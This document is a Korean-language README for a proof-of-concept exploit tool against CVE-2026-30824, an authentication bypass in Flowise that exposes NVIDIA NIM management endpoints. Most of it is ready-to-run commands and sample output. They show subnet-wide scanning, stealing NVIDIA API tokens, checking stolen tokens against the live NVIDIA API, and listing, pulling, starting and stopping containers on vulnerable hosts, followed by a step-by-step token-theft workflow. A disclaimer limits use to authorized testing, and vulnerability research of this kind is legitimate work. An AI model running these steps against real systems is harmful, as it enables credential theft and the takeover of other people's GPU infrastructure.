
**CVE-2026-30824**에 대한 개념 증명 익스플로잇으로, Flowise의 치명적인 인증 우회 취약점으로 인증 없이 NVIDIA NIM API 엔드포인트가 노출됩니다.
CVE-2026-30824에 대한 개념 증명(PoC) 탐지기 및 익스플로잇입니다. 이는 Flowise에서 인증 없이 NVIDIA NIM API 엔드포인트를 노출시키는 심각한 인증 우회 취약점입니다.
CVE-2026-30824는 Flowise(< 3.0.13)의 심각한 인증 우회 취약점으로, 인증되지 않은 원격 공격자가 NVIDIA NIM 컨테이너 관리 및 API 토큰 생성 엔드포인트에 접근할 수 있게 합니다.
| 필드 | 값 |
|---|---|
| CVSS 점수 | 9.8 (치명적) |
| CWE | CWE-306: 중요 기능에 대한 인증 누락 |
| 영향받는 버전 | Flowise < 3.0.13 |
| 영향 | 전체 컨테이너 관리, GPU 접근, 토큰 탈취 |
/api/v1/nvidia-nim/* 경로가 전역 인증 미들웨어에서 허용 목록에 포함되어 있어, 인증 없이 다음 기능에 접근할 수 있습니다:
✅ 취약점 탐지 — 대상이 취약한지 빠르게 확인
✅ 토큰 추출 — 취약한 엔드포인트에서 NVIDIA API 토큰 유출
✅ 토큰 검증 — NVIDIA API에 대해 토큰 검증 (피해 범위 입증)
✅ 컨테이너 열거 — 실행 중인 NIM 컨테이너 목록 확인
✅ 일괄 스캔 — 파일에서 여러 대상 스캔
✅ SSL 우회 — 기본적으로 자체 서명 인증서 무시
✅ 컬러 출력 — 읽기 쉬운 상태 표시기 (녹색/노란색/빨간색)
✅ 정찰 — 전체 엔드포인트 매핑 및 진단
requests 라이브러리# 스크립트 복제 또는 다운로드
git clone <repository>
cd cve-2026-30824
# 의존성 설치
pip install -r requirements.txt
# 또는
pip install requests
# 단일 대상이 취약한지 확인
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# 예상 출력 (취약함):
# [+] 대상이 취약한 것으로 보입니다 (HTTP 200)
# 응답: {...}
# 한 줄에 하나의 URL로 targets.txt 생성
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# 모든 대상 스캔 (빠른 모드, 프롬프트 없음)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# 예상 요약 출력:
# ============================================================
# [*] 스캔 요약
# ============================================================
# [+] 취약함: 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] 패치됨: 1
# ✗ http://192.168.1.102:3000
# 취약한 엔드포인트에서 NVIDIA API 토큰 유출
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 예상 출력:
# [*] NVIDIA API 토큰 유출 시도 중...
# [+] NVIDIA API 토큰: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] 토큰 유형: Bearer
# [+] 만료 시간: 3600초
# 유출된 토큰이 실제 NVIDIA API에서 작동하는지 확인
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# 예상 출력:
# [*] NVIDIA API에 대해 토큰 검증 중...
# [+] 토큰 유효함! 45개의 NVIDIA NIM 모델에 접근 가능.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# 대상의 컨테이너 열거
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# 예상 출력:
# [*] 실행 중인 컨테이너 목록 확인 중...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# 취약한 대상에 대해 모든 정찰 검사 실행
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
선택적 인수:
-h, --help 도움말 메시지 표시 및 종료
-t, --target TARGET 대상 URL (예: http://192.168.1.100:3000)
-f, --targets-file FILE 대상 목록이 포함된 파일 (한 줄에 하나)
취약점 탐지:
--check 대상이 취약한지만 확인
--scan-only 프롬프트 없이 대상 취약점 스캔
--debug 요청 세부 정보 및 원시 응답 표시
익스플로잇:
--get-token NVIDIA API 토큰 유출
--validate-token TOKEN 유출된 토큰을 NVIDIA API에 대해 검증
--list-containers 실행 중인 NIM 컨테이너 목록
--get-container CONTAINER_ID 컨테이너 세부 정보 가져오기
--get-image IMAGE_ID 이미지 세부 정보 가져오기
--pull-image IMAGE_TAG Docker 이미지 가져오기 (예: nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG 이미지 태그에서 컨테이너 시작
--container-name NAME 시작된 컨테이너의 이름
--stop-container CONTAINER_ID 실행 중인 컨테이너 중지
--preload 리소스 사전 로드 엔드포인트 트리거
--all 모든 정찰 검사 실행
고급:
--timeout SECONDS 요청 시간 초과(초) (기본값: 15)
# 1. 취약한 인스턴스에 대해 전체 서브넷 스캔
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. 각 취약한 대상에 대해 토큰 추출
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. 토큰 영향 검증
python3 CVE-2026-30824.py --validate-token "<extracted-token>"
# 취약점 확인 및 전체 피해 범위 입증
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# 이 명령은 다음을 수행합니다:
# 1. 취약점 확인
# 2. NVIDIA API 토큰 추출
# 3. NVIDIA API에 대해 토큰 검증
# 4. 실행 중인 컨테이너 목록
# 5. 리소스 열거 표시
# 대상 주기적 모니터링 (cron 또는 스케줄러 사용)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log
| HTTP | 의미 |
|---|---|
| 200 | ✅ 취약함 (엔드포인트 접근 가능) |
| 400 | ✅ 취약함 (애플리케이션 오류지만 엔드포인트 존재) |
| 401 | 🟡 패치됨 (인증 필요) |
| 404 | 🟡 Flowise가 아님 또는 엔드포인트가 존재하지 않음 |
문제: 엔드포인트가 JSON API 응답 대신 HTML 페이지를 반환합니다.
해결 방법:
문제: 대상에 도달할 수 없습니다.
해결 방법:
# 연결 테스트
curl -v http://192.168.1.100:3000/
# 시간 초과 증가
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30
문제: 대상이 자체 서명 또는 만료된 인증서를 사용합니다.
해결 방법: 스크립트는 기본적으로 SSL 검증을 비활성화합니다. 문제가 지속되면:
# 포트와 프로토콜을 명시적으로 추가
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check
문제: 토큰이 추출되었지만 NVIDIA API에 대한 검증이 실패합니다.
원인:
⚠️ 법적 고지
실제 환경에서 이 취약점을 발견한 경우:
즉시:
장기적으로:
/api/v1/nvidia-nim/* 경로 차단이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
이 익스플로잇은 보증 없이 "있는 그대로" 제공됩니다. 소유하거나 테스트할 명시적 서면 권한이 있는 시스템에서만 사용하세요. 작성자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
승인된 침투 테스트 및 보안 연구를 위해 제작되었습니다.
마지막 업데이트: 2026년 4월
| 5xx | 🔴 서버 오류/잘못된 구성 |